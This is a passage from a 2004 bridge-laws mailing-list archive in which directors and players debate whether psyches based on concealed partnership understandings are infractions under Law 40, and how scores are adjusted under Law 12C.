psyching tendencies ARE AI to you. So if this player chooses to believe his partner has psyched, based on (a) his partner's tendencies and (b) his own hand, then he is allowed to do so. He has to make certain that his opponents are also aware of (a), but he does not have to reveal (b), or his conclusion. [Nigel] Pull the other one, it's got bells on, Herman :) Please explain how you can you reveal (a) to opponents? Regular psychers I have known prefer certain positions, vulnerabilities, and hand-types. Frequency may also be affected by the state of the match, or whether they've just had a bad board. Some like to "advertise" with an early blatant psyche. Subtle preferences and patterns are harder to elucidate than any convention. I have never known opponents explain any of this although the effect of a psyche on the result of a match is likely to be greater than any convention in the partnership armoury. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 From schoderb@msn.com Wed Mar 31 02:50:30 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 30 Mar 2004 20:50:30 -0500 Subject: [blml] One trick to the offending side? References: <000501c4168e$592daff0$0201a8c0@rui> Message-ID: "EXCPECTED?" By whom? ----- Original Message ----- From: "Rui Marques" To: Sent: Tuesday, March 30, 2004 2:36 PM Subject: RE: [blml] One trick to the offending side? > 5C -1 and Ton was 100% right as expected :-) > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Wed Mar 31 02:55:24 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 30 Mar 2004 20:55:24 -0500 Subject: SV: [blml] Psyches References: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> <1$aSj1KJ6eaAFwPo@blakjak.demon.co.uk> Message-ID: Thanks, David. And, I'm sure that less than 10% of our savants will understand what you said. why understand and comprehend, and learn, when you can show your MIGHT by posting nonsense? I'm really very much interested in what the basic premise is for the existence of BLML. Kojak ----- Original Message ----- From: "David Stevenson" To: Sent: Tuesday, March 30, 2004 5:02 PM Subject: Re: SV: [blml] Psyches > Ed Reppert wrote > > > >On Tuesday, Mar 30, 2004, at 09:35 US/Eastern, David Stevenson wrote: > > > >> It is the combination. L40 allows you to make any call without a > >>CPU. So, if you make a call with a CPU, that call is an infraction. > > > >If a psyche is a deliberate misstatement of the agreed meaning of a > >bid, then a bid made in accordance with a CPU is not a psyche. > >Semantics. > > The semantics are what are amusing some people on BLML, and will for > years. But the principle is important. So why do we not let the people > who want to chase their own tail up their own behind carry on arguing, > and look at the actual effect of the Laws. > > OK, what is popularly called a psyche is illegal if it is based on a > CPU [and may be illegal in other ways too, but let's keep it simple]. > > Now the point is that the Law which allows you to psyche in the first > place is L40A. In fact it does not really refer to psyches [yes, I know > it mentions them, but only as an example]. The main point is you can > make any call, misleading or not, psychic or not, barking mad or not, so > long as it is not based on a CPU. > > So, if a player makes a call, either > > [a] it is based on no partnership agreement at all, or > [b] it is based on a partnership agreement that is disclosed correctly, > or > [c] it is illegal > > Now, let us leave alone for this article how you decide whether it is > [a] or [b] or [c]. The point is that it is illegal when it is decided > that option [c] has been taken - and it is the call that was illegal. > > ------------------------- > > Suppose people feel that we should look at L40B rather than L40A. > Rather than tell you what calls you may make it says what calls you may > not make. There seems a difference in what may be legal or not, since > it refers to non-disclosable agreements where it would be expected that > opponents would be expected to understand the meaning. > > In fact, we might say that if a player makes a call, either > > [a] it is based on no special partnership agreement at all, or > [b] it is based on a special partnership agreement that is disclosed > correctly, or > [c] it is based on a special partnership agreement which does not need > to be disclosed, or > [d] it is illegal > > Now, let us leave alone for this article how you decide whether it is > [a] or [b] or [c] or [d]. The point is that it is illegal when it is > decided that option [d] has been taken - and it is the call that was > illegal. > > ------------------------- > > Of course, people will worry about cases where L40A and L40B come up > with different results. OK. But for the vast majority of cases where > both [c] applies under L40A and [d] applies under L40B the call is > illegal. > > Now this applies whether it is a "psyche" or not, so let us stop going > on and on about whether it is a psyche when someone opens 1H with 3 HCP > and 3 hearts. The Law does not care, so why should we? The Law says > [in effect] that any call made, psychic or not, based on a CPU, is > illegal. So if a TD rules that there was a CPU governing what members > of BLML would either call "a psyche" or not call "a psyche" then the > call is illegal. > > ------------------------- > > We now have an illegal call, psychic or not. What do we do? Well, I > suggested L12C, but of course someone pointed out [correctly] that we > want L40C. Good. L40C tells us to award an adjusted score. How do we > award an adjusted score? We go to L12C and it tells us how to do it. > > When we reach L12C we get the old argument as to whether it is > legitimate to use L12C1. Let us skip that for now. There is also a > question of whether to use L12C3: but that involves varying an assigned > score, so in effect you need to look at the effects of L12C2 before you > could vary it, so let us skip the L12C3 question. > > So we have now come via L40A or L40B through L40C to L12C, and we have > decided to award an adjustment via L12C2. What does it say? Let us > consider the NOs: > > 'the score is, for a non-offending side, the most favourable result that > was likely had the irregularity not occurred' > > Suppose the bidding was > > P P 1S 1N > P 3H P 3N > P P P > > Of course dealer has an 11-count and did not lead a spade, defeating > 3NT. How do you adjust? > > What is the irregularity? Forget for the moment whether there is any > "fielding" in the international sense, or in the HDW sense: let us > assume that the TD/AC have decided that there was a CPU for whatever > reason. In that case the irregularity was the breach of L40A or L40B in > bidding 1S. So to adjust you do so based on cancelling the 1S bid. So > you have to adjust based on a legitimate auction that went: > > P P > > Now people may say this is easy. It isn't. You have no basis for > adjustment whatever. Compare the normal hesitation adjustment, where > the irregularity is not passing UI, but using UI: when you have to > adjust for an auction, say: > > 1S P 4S ..X > P 5C P P > X P P P > > it is very easy to adjust: you cancel the 5C bid, and adjusting on a > basis of an auction that starts > > 1S P 4S ..X > P > > is far easier. > > Now there are secondary effects of all this. But my main point is > that if a psyche is ruled as illegal because of a CPU then it is a > breach of L40A or L40B, and adjusting for it will usually be difficult > because the psyche itself is the illegal call. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Wed Mar 31 03:00:28 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 30 Mar 2004 21:00:28 -0500 Subject: SV: [blml] Psyches References: <200403241718.JAA12210@mailhub.irvine.com> <4061C6F5.7050608@hdw.be> <026a01c416c1$45aa3ba0$399868d5@tinyhrieuyik> Message-ID: A perfect example of what happens when someone tries to explain something that he doesn't understand, or can't read in the language it is presented. Just the right kind of meat for BLML. Why learn anything, when you can posit something ridiculous. Kojak ----- Original Message ----- From: "Nigel Guthrie" To: Sent: Tuesday, March 30, 2004 8:41 PM Subject: Re: SV: [blml] Psyches > [Herman De Wael] > Indeed Adam, but your partner's psyching tendencies ARE AI > to you. So if this player chooses to believe his partner has > psyched, based on > (a) his partner's tendencies and > (b) his own hand, then he is allowed to do so. He has to > make certain that his opponents are also aware of (a), but > he does not have to reveal (b), or his conclusion. > > [Nigel] > > Pull the other one, it's got bells on, Herman :) > > Please explain how you can you reveal (a) to opponents? > Regular psychers I have known prefer certain positions, > vulnerabilities, and hand-types. Frequency may also be > affected by the state of the match, or whether they've > just had a bad board. Some like to "advertise" with an > early blatant psyche. Subtle preferences and patterns > are harder to elucidate than any convention. > > I have never known opponents explain any of this although > the effect of a psyche on the result of a match is likely > to be greater than any convention in the partnership > armoury. > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From grabiner@alumni.princeton.edu Wed Mar 31 03:34:45 2004 From: grabiner@alumni.princeton.edu (David J. Grabiner) Date: Tue, 30 Mar 2004 21:34:45 -0500 Subject: [blml] treat non-offenders severely In-Reply-To: <025601c416be$a4d471c0$399868d5@tinyhrieuyik> References: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> Message-ID: <5.1.1.6.0.20040330211806.01c7adc0@mail.comcast.net> At 08:22 PM 3/30/2004, Nigel Guthrie wrote: >[Ron Johnson] >I wouldn't presume to speak for David, but I've seen a lot of >rulings which say something like, "If you'd just played bridge >you'd have had a good score." Ignoring the fact that the NOS >wouldn't have been in the position without the offence. >I think this is at least part of what he's talking about. > >[Nigel] > >This "What might have been" is a recent example... > >I held Qxx T9xx K9x xxx and the bidding was.. > >RHO ME LHO OXO >(2D*) P (2N*) 4H >(P) P (4S) 5D >(P) 5H (...P) P >(5S) 6H (X) End >2D = Multi >2N = Relay >...P = Agreed slow pass. > >6HX went two down for -500. 5S makes +450 if declarer picks >up my queen. The TD ruled that P by RHO was an LA and that >5S may have been suggested by LHO's hesitation, so he wound >the bidding back to 5H-1 (-100). The AC upheld the TD >decision -- much to my relief. > >I feared that my 6H might be penalized as a "double shot." >TDs in the USA often rule against players suspected of "double >shots", even although they would never be faced with such a >horrid choice without the earlier infraction. I don't think you have a double shot here. It's hard to define one auction as irrational on a freak hand, and why couldn't partner have - AQxxxx Axxxxx x which gives 6H a play? Even if 6H was an irrational, wild, or gambling bid, you were damaged by the 5S bid, not by your own bid. You would have been -100 without the infraction, and -450 after the 5S bid. That part of the damage could not be self-inflicted, so you should be entitled to at least that much of an adjustment. In contrast, here is what I consider a proper double-shot ruling; I was East. South dealer, both vulnerable, IMPs S W N E 1S P 2S ..P P X 3S X AP 3Sx went down 3 for -800. If North had passed, East would have bid 3D and made three for +110, which was the result at the other table. North had a 3=4=3=3 6-count; competing to 3S, both vulnerable, after a balancing double is irrational on such a hand, as he is likely to lose 5 or 7 IMPs (-100 or -200 vs. +100) and extremely unlikely to gain more than one IMP (+140 vs. +100) unless partner can act. Without the infraction, North would have been -3 IMPs in 2S down two. With the infraction, he was headed for a better score until he bid 3S and wound up -12. The TD ruled -800 (and -12 IMPs) to N-S, making North pay for his overbid, and +200 (and +3 IMPs) to E-W. >Again suppose, in the above auction, I had not bid 6H but >defended 5S. Suppose 5S can be easily defeated by several >tricks but we defend stupidly to let it home. In America, >the TD may judge that we should live with the consequences, >although our predicament was consequent on opponents earlier >infraction. I believe this is fair, because the damage was independent of the infraction. Without the infraction, you would have had a similar opportunity to go wrong; you would have been in 5H, and that might have been cold but gone down when your partner miscounted the trumps. From richard.hills@immi.gov.au Wed Mar 31 03:33:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 31 Mar 2004 12:33:38 +1000 Subject: [blml] Moving the goalposts (was Psyches) Message-ID: DWS wrote: >>The semantics are what are amusing some people >>on BLML, and will for years. But the principle >>is important. So why do we not let the people >>who want to chase their own tail up their own >>behind carry on arguing, and look at the actual >>effect of the Laws. [big snip] Kojak wrote: >Thanks, David. And, I'm sure that less than 10% >of our savants will understand what you said. Why >understand and comprehend, and learn, when you can >show your MIGHT by posting nonsense? I'm really >very much interested in what the basic premise is >for the existence of BLML. RJH agrees: Indeed, my understanding is that one of the prime purposes of blml was to analyse the Laws for semantic flaws. My understanding is that prime useful byproducts of blml, are to provide some additions to Grattan's notebook of how the semantics of the Laws could better correlate with the intent of the Laws in future. My understanding is that there are dangers in moving the goalposts by ignoring the semantics of the Laws. If, instead, a TD rules on what that TD merely thinks is "the actual effect of the Laws", then the is a big problem in that different TDs think different things. *If* you permit a TD to ignore the actual semantics of the wording of the Laws, *then* a New Zealand distortion of the Laws is inevitable. The Chief Director of New Zealand gives Law 16 rulings according to the popular misconception that the correct procedure after getting UI from pard is to ignore the UI, then make the call that you would have normally selected. The NZ CTD even wrote an article in the Australian Directors' Bulletin arguing that the semantics of Law 73C should be ignored, with instead his "principle" of "the actual effect of the Laws" being used. The following issue of the Australian Directors' Bulletin carried a rebuttal by another TD who "chased his own tail up his own behind" arguing that the "semantics" of the words of Law 73C were very important. And who was the TD who wrote that semantic-oriented rebuttal??? :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From jaapvanderneut@hotmail.com Wed Mar 31 07:36:13 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 31 Mar 2004 08:36:13 +0200 Subject: SV: [blml] Psyches References: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> <1$aSj1KJ6eaAFwPo@blakjak.demon.co.uk> Message-ID: Kojak > Thanks, David. And, I'm sure that less than 10% of our savants will > understand what you said. Come on. If nobody understands this then the law should be made clearer rather than to make this kind of semi arrogant remarks that smell like 'nobody but DWS, Kojak and some others know what is good for you'. Second, I understand perfectly well what DWS says (in far too many words). Third, the discussion is according to me about the problem ruling CPU or not. In his lengthy articele DWS skips this issue completely by stating 'lets assume it is an illegal call'. Actually at this stage I am not so much interested in the technicalities of what to do after an illegal call. After ruling somebody used CPU we are more or less in the cheating department. Maybe not in the EBU where the legal construct seems to be 'if you get a good result out of a psych we call it fielding which means we assume CPU and you have to proof otherwise'. Don't kill me if I got this wrong because after so many twisting everything mails by DWS and Grattan about the subject I might be confused about what the EBU is up to. The real issue is an example DWS used himself. pass pass 1S 1NT pass ...... with the guy holding enough to double 1NT (assuming green against red). I think it is perfectly normal not to double 1NT in this position, this is just taking the common sense view that a third hand opener is far more suspicious than a vulnerable 1NT overcall (I might still double but when it is close it is an obvious consideration). This has nothing to do with partnership agreements or understandings. It is just bridge. So the idea alone that DWS says '... the 1S is illegal and we should cancel it for adjusting ...' is ludicrious. It only make sense against cheaters. Now I know it is not so easy to prove CPU (that is a real problem) but to solve this problem to assume all 3th hand 1S openers green against red might be CPU (and you have to proof otherwise) seems way over the top for me. The only real way to solve (C)PU is to forbid regular partnerships and only play individual tournaments. Because what is the real difference between knowing your regular partner is more (or less) likely than average to psych (whatever the definition) compared to know that he is more (or less) likely than average to open a preempt on bad or short suits or to open 1NT with off-shape distribution or you just name it. This is perfectly disclosable information. When you play against a Zia-Hamman partnership you know Zia is more creative than Hamman. Now where is the problem (there are some problems, I know). Jaap ----- Original Message ----- From: "WILLIAM SCHODER" To: ; "David Stevenson" Sent: Wednesday, March 31, 2004 3:55 AM Subject: Re: SV: [blml] Psyches > Thanks, David. And, I'm sure that less than 10% of our savants will > understand what you said. why understand and comprehend, and learn, when > you can show your MIGHT by posting nonsense? I'm really very much > interested in what the basic premise is for the existence of BLML. > Kojak > > > ----- Original Message ----- > From: "David Stevenson" > To: > Sent: Tuesday, March 30, 2004 5:02 PM > Subject: Re: SV: [blml] Psyches > > > > Ed Reppert wrote > > > > > >On Tuesday, Mar 30, 2004, at 09:35 US/Eastern, David Stevenson wrote: > > > > > >> It is the combination. L40 allows you to make any call without a > > >>CPU. So, if you make a call with a CPU, that call is an infraction. > > > > > >If a psyche is a deliberate misstatement of the agreed meaning of a > > >bid, then a bid made in accordance with a CPU is not a psyche. > > >Semantics. > > > > The semantics are what are amusing some people on BLML, and will for > > years. But the principle is important. So why do we not let the people > > who want to chase their own tail up their own behind carry on arguing, > > and look at the actual effect of the Laws. > > > > OK, what is popularly called a psyche is illegal if it is based on a > > CPU [and may be illegal in other ways too, but let's keep it simple]. > > > > Now the point is that the Law which allows you to psyche in the first > > place is L40A. In fact it does not really refer to psyches [yes, I know > > it mentions them, but only as an example]. The main point is you can > > make any call, misleading or not, psychic or not, barking mad or not, so > > long as it is not based on a CPU. > > > > So, if a player makes a call, either > > > > [a] it is based on no partnership agreement at all, or > > [b] it is based on a partnership agreement that is disclosed correctly, > > or > > [c] it is illegal > > > > Now, let us leave alone for this article how you decide whether it is > > [a] or [b] or [c]. The point is that it is illegal when it is decided > > that option [c] has been taken - and it is the call that was illegal. > > > > ------------------------- > > > > Suppose people feel that we should look at L40B rather than L40A. > > Rather than tell you what calls you may make it says what calls you may > > not make. There seems a difference in what may be legal or not, since > > it refers to non-disclosable agreements where it would be expected that > > opponents would be expected to understand the meaning. > > > > In fact, we might say that if a player makes a call, either > > > > [a] it is based on no special partnership agreement at all, or > > [b] it is based on a special partnership agreement that is disclosed > > correctly, or > > [c] it is based on a special partnership agreement which does not need > > to be disclosed, or > > [d] it is illegal > > > > Now, let us leave alone for this article how you decide whether it is > > [a] or [b] or [c] or [d]. The point is that it is illegal when it is > > decided that option [d] has been taken - and it is the call that was > > illegal. > > > > ------------------------- > > > > Of course, people will worry about cases where L40A and L40B come up > > with different results. OK. But for the vast majority of cases where > > both [c] applies under L40A and [d] applies under L40B the call is > > illegal. > > > > Now this applies whether it is a "psyche" or not, so let us stop going > > on and on about whether it is a psyche when someone opens 1H with 3 HCP > > and 3 hearts. The Law does not care, so why should we? The Law says > > [in effect] that any call made, psychic or not, based on a CPU, is > > illegal. So if a TD rules that there was a CPU governing what members > > of BLML would either call "a psyche" or not call "a psyche" then the > > call is illegal. > > > > ------------------------- > > > > We now have an illegal call, psychic or not. What do we do? Well, I > > suggested L12C, but of course someone pointed out [correctly] that we > > want L40C. Good. L40C tells us to award an adjusted score. How do we > > award an adjusted score? We go to L12C and it tells us how to do it. > > > > When we reach L12C we get the old argument as to whether it is > > legitimate to use L12C1. Let us skip that for now. There is also a > > question of whether to use L12C3: but that involves varying an assigned > > score, so in effect you need to look at the effects of L12C2 before you > > could vary it, so let us skip the L12C3 question. > > > > So we have now come via L40A or L40B through L40C to L12C, and we have > > decided to award an adjustment via L12C2. What does it say? Let us > > consider the NOs: > > > > 'the score is, for a non-offending side, the most favourable result that > > was likely had the irregularity not occurred' > > > > Suppose the bidding was > > > > P P 1S 1N > > P 3H P 3N > > P P P > > > > Of course dealer has an 11-count and did not lead a spade, defeating > > 3NT. How do you adjust? > > > > What is the irregularity? Forget for the moment whether there is any > > "fielding" in the international sense, or in the HDW sense: let us > > assume that the TD/AC have decided that there was a CPU for whatever > > reason. In that case the irregularity was the breach of L40A or L40B in > > bidding 1S. So to adjust you do so based on cancelling the 1S bid. So > > you have to adjust based on a legitimate auction that went: > > > > P P > > > > Now people may say this is easy. It isn't. You have no basis for > > adjustment whatever. Compare the normal hesitation adjustment, where > > the irregularity is not passing UI, but using UI: when you have to > > adjust for an auction, say: > > > > 1S P 4S ..X > > P 5C P P > > X P P P > > > > it is very easy to adjust: you cancel the 5C bid, and adjusting on a > > basis of an auction that starts > > > > 1S P 4S ..X > > P > > > > is far easier. > > > > Now there are secondary effects of all this. But my main point is > > that if a psyche is ruled as illegal because of a CPU then it is a > > breach of L40A or L40B, and adjusting for it will usually be difficult > > because the psyche itself is the illegal call. > > > > -- > > David Stevenson Bridge RTFLB Cats Railways /\ /\ > > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > > ICQ 20039682 bluejak on OKB =( + )= > > Lawspage: http://blakjak.com/lws_menu.htm ~ > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Wed Mar 31 07:36:53 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 31 Mar 2004 08:36:53 +0200 Subject: [blml] How Law 25B is not to be used References: <7FF003FF-826E-11D8-A555-0030656F6826@rochester.rr.com> Message-ID: Ed: > So what's the problem? The problem is to declare this kind of 'tactics' legal. There are lot of situations where you can apply this trick (make a (psychic) bid and withdrawing it) to confuse opponents with no or minimal risk to bother or get bothered by your partner. Example: pass 2C (strong) ? Now with a flat 0 count you take the 2S card visible for all and then you withdraw it. You call this bridge just because someone changed the rules in a way this became 'legal'. As I said before, if you really want to allow the withdrawal (which I can understand don't worry) then you need additional 'could have know' clauses to stop abuse and other complications. At least the ACBL is aware of this problem. The FFB seems not to be. Jaap ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Tuesday, March 30, 2004 7:20 PM Subject: Re: [blml] How Law 25B is not to be used > > On Tuesday, Mar 30, 2004, at 07:22 US/Eastern, Jaap van der Neut wrote: > > > It was no infraction under the new regulations and his partner didn't > > use the UI. Great. > > So what's the problem? > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Wed Mar 31 07:47:35 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 31 Mar 2004 08:47:35 +0200 Subject: [blml] Explain References: <000201c416a5$279a1200$2f56dccb@noeltsui0kso1i> Message-ID: DWS > When we discuss problems of UI they only apply ot people who are > likely to use the UI, whether intentionally or otherwise. There is > never a problem with beginners asking questions. Of course I agree with the idea. But from a legal point of view you say that bunnies play with other rules than 'real players' (whatever the definition). So what do you do in tournaments where both participate. Open pairs and festival type event comes to mind. So now our bidding goes 1NT pass 2C ...... RHO opponent asks the meaning of 2C and LHO leads clubs (from xxx holding QJ109 in another suit). Do you try to say the score adjustment depends on opps being beginners or not ? For arguments sake assume opps are innocent (so it might be coincidence that RHO had clubs). Jaap ----- Original Message ----- From: "David Stevenson" To: Sent: Wednesday, March 31, 2004 12:57 AM Subject: Re: [blml] Explain > Noel and Pamela wrote > >When I learnt Bridge, we were never taught transfers (or weak 2's for that > >matter). > > > >My wife and I sat down for our first outing at the table and within 8 boards > >we had seen it all - transfers, multi-2s (let alone weak ones), splinters - > >the lot. > > > >We, being a little overawed, did not ask anything, and consequently missed > >two games and a slam. > > > >Well, that's Bridge, but it would have been nice to be able to ask, 'What > >does this mean?' without having any intention of bidding - JUST TO FIND OUT > >WHAT THE HECK IS THIS ALL ABOUT. > > > >We had to learn the hard way - and if we weren't hooked already, might have > >never played again, if this sort of attitude were to prevail. > > What sort of attitude? > > If a beginner asks a question there are no UI problems of any sort. > Very few players are stupid enough ot call the TD at such a time, and > they will get no joy whatever out of a competent TD. > > When we discuss problems of UI they only apply ot people who are > likely to use the UI, whether intentionally or otherwise. There is > never a problem with beginners asking questions. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Wed Mar 31 08:18:01 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 31 Mar 2004 09:18:01 +0200 Subject: [blml] Psyches In-Reply-To: <533D273D4014D411AB1D00062938C4D904046856@hotel.npl.co.uk> References: <533D273D4014D411AB1D00062938C4D904046856@hotel.npl.co.uk> Message-ID: <406A70A9.2050203@hdw.be> Yes Robin, I do understand this, but I wanted to make David be more careful with his words: Robin Barker wrote: > Herman writes: > >>Sorry David, but a psyche cannot be an infraction. > > > A psyche is an infraction if it based on concealed > partnership understanding (this is Law 40 B). > > If your announced agreement is 1S = 10+HCP, 4+Spades; > but your actual (concealed) agreement is > 1S = 10+HCP, 4+Spades or 0-3HCP, 2Spades; > then opening 1S is an infraction according to L40B: > whether you have 10+HCP or 0-3HCP. > So it is not the psyche which is the infraction, but the combination of psyche + agreement + concealment. OK? OK. Now answer me the second question. Is this an infraction of L40A, L40B, or both? Can anything be an infraction of L40A and not of L40B? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Wed Mar 31 08:38:59 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 31 Mar 2004 09:38:59 +0200 Subject: SV: [blml] Psyches In-Reply-To: <1$aSj1KJ6eaAFwPo@blakjak.demon.co.uk> References: <0B789501-826F-11D8-A555-0030656F6826@rochester.rr.com> <1$aSj1KJ6eaAFwPo@blakjak.demon.co.uk> Message-ID: <406A7593.6080209@hdw.be> At last David, sense returns. May I congratulate you on this perfect analysis? It seems we don't need to disagree at all. However, of course we cannot agree completely, or blml would lose its main attraction. Allow me to skip a whole slab of your post, all of which is completely correct, and arrive at: David Stevenson wrote: [big snip, worth rereading if you haven't remmebered it] > ------------------------- > > We now have an illegal call, psychic or not. What do we do? Well, I > suggested L12C, but of course someone pointed out [correctly] that we > want L40C. Good. L40C tells us to award an adjusted score. How do we > award an adjusted score? We go to L12C and it tells us how to do it. > > When we reach L12C we get the old argument as to whether it is > legitimate to use L12C1. Let us skip that for now. There is also a > question of whether to use L12C3: but that involves varying an assigned > score, so in effect you need to look at the effects of L12C2 before you > could vary it, so let us skip the L12C3 question. > > So we have now come via L40A or L40B through L40C to L12C, and we have > decided to award an adjustment via L12C2. What does it say? Let us > consider the NOs: > > 'the score is, for a non-offending side, the most favourable result that > was likely had the irregularity not occurred' > > Suppose the bidding was > > P P 1S 1N > P 3H P 3N > P P P > > Of course dealer has an 11-count and did not lead a spade, defeating > 3NT. How do you adjust? > > What is the irregularity? Forget for the moment whether there is any > "fielding" in the international sense, or in the HDW sense: let us > assume that the TD/AC have decided that there was a CPU for whatever > reason. In that case the irregularity was the breach of L40A or L40B in > bidding 1S. So to adjust you do so based on cancelling the 1S bid. and this is where we part company. So to adjust you do so based on telling the opponents what the PU about the 1S bid was. After all, that is what we do when we have a non-alerted Ghestem-bid, don't we. All your beautiful analysis above, David, is equally valid to a non-alerted call. Why should a psyche-annex-CPU be any different? > So > you have to adjust based on a legitimate auction that went: > > P P > > Now people may say this is easy. It isn't. You have no basis for > adjustment whatever. Compare the normal hesitation adjustment, where > the irregularity is not passing UI, but using UI: when you have to > adjust for an auction, say: > > 1S P 4S ..X > P 5C P P > X P P P > > it is very easy to adjust: you cancel the 5C bid, and adjusting on a > basis of an auction that starts > > 1S P 4S ..X > P > > is far easier. > > Now there are secondary effects of all this. But my main point is > that if a psyche is ruled as illegal because of a CPU then it is a > breach of L40A or L40B, and adjusting for it will usually be difficult > because the psyche itself is the illegal call. > No it need not. The case you cite, of the man not leading spades, is also easy to solve. There is no infraction in realizing your partner has psyched, and not leading spades is no infraction either. We need to find out if opponents could have reached a different contract if they had known about the psyche frequency. We need to seek out if declarer could have made his contract by playing the spades the other way round. If not, then for once the psyche has worked. But you cannot retract the spade call, nor the non-spade lead. Plain and simple L40C and L12C(2/3). IMO. But let me tell you this even: I don't really mind using L12C1 in some cases. What I do mind is that the EBU _instruct_ the use of L12C1, even when L12C2 could be used instead. Your argument above, faulty though it is, only works on psyches in opening position. There are examples of illegally fielded psyches where it would be possible, even after cancelling the (according to you illegal) psyche, it is possible to give a ruling with L12C2. Yet the EBU have decided that in those cases too, L12C1 is to be used. And then another one: the 30/60 rulings are only for fielded psyches. How about the number of psyches where you can find evidence of CPU, even without them being fielded. The EBU says nothing about those. I prefer using L40C and L12C2 on all psyches, not just fielded ones. But anyway, we have come a bit closer towards understanding one another. I now know that you do see that fielded psyches and simple MI are just two forms of the same thing. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Wed Mar 31 08:51:12 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 31 Mar 2004 09:51:12 +0200 Subject: Fw: [blml] RE: ACBL reg on when a call is made with bidding boxes Message-ID: <007c01c416f4$f6ab0190$c5f7f0c3@LNV> > > > > I don't know what the official reason for the change was, but I can tell > you > > that, before the change, I took a couple of TD calls where there was > > difficulty establishing which bid card it was that the offending player > had > > pulled, with intent, from the box. The new regulation is much easier -- > if > > the card makes it all the way to the table, there will be no such > > difficulty. > > > > Yes, it raises UI concerns to allow pulling and replacing, but (as others > > have alluded to) bunnies don't care about this. In practice, the new > > regulation is much easier for a TD to use, and makes the average player > > happy. ******* > Strange those different habits. I only remember a few cases in Dutch bridge > where a discussion arose whether a call using BB was made. But it is > possible that players don't call the TD assuming a card may be changed. On > the other hand my experience is that opponents and partner do follow > attentively what is happening and do see the bidding card taken out. > > I agree that this modified approach is easier but I don't consider that to be > a strong argument for the change. Bridge itself is not better off, in my > opinion. > > > ton > From t.kooyman@worldonline.nl Wed Mar 31 08:52:16 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 31 Mar 2004 09:52:16 +0200 Subject: Fw: [blml] Moving the goalposts (was Psyches) Message-ID: <008301c416f5$191bfe00$c5f7f0c3@LNV> > Richard: > > > A misstatement of partnership agreement cannot > be part of a (concealed or otherwise) partnership > agreement. Law 40A defines a psychic bid as > legal, but some partnership agreements as > possibly illegal. Law 40B prohibits concealed > partnership agreements. > > Therefore, as Herman states, a psychic call - by > definition - cannot be an infraction. > > ******* > > Are we not in the academic semantic mode again? > If a 'psyche' is used too often too be a surpise for partner it becomes part > of the agreements and then is not a psych anymore. That is probably what you > are saying. But if opponents are not aware of this addition to the > convention card it is still a psyche for them and therewith it constitutes > an infraction. > Is something wrong with this idea? > > > ton > From t.kooyman@worldonline.nl Wed Mar 31 08:54:39 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 31 Mar 2004 09:54:39 +0200 Subject: Fw: [blml] One trick to the offending side? Message-ID: <008901c416f5$6fe03620$c5f7f0c3@LNV> > Read boy, by Rui. Or is 'excpected' part of a joke? > > ton > Kojak: > > "EXCPECTED?" By whom? > > Rui: > > > > 5C -1 and Ton was 100% right as expected :-) From hermandw@hdw.be Wed Mar 31 09:00:14 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 31 Mar 2004 10:00:14 +0200 Subject: [blml] Moving the goalposts (was Psyches) In-Reply-To: References: Message-ID: <406A7A8E.9080705@hdw.be> Despite Richard's support, I must decline: richard.hills@immi.gov.au wrote: > > > > HdW: > >>>Sorry David, but a psyche cannot be an >>>infraction. > > > DWS: > >>Time you re-read L40A! > > > RJH: > Time for some definitions 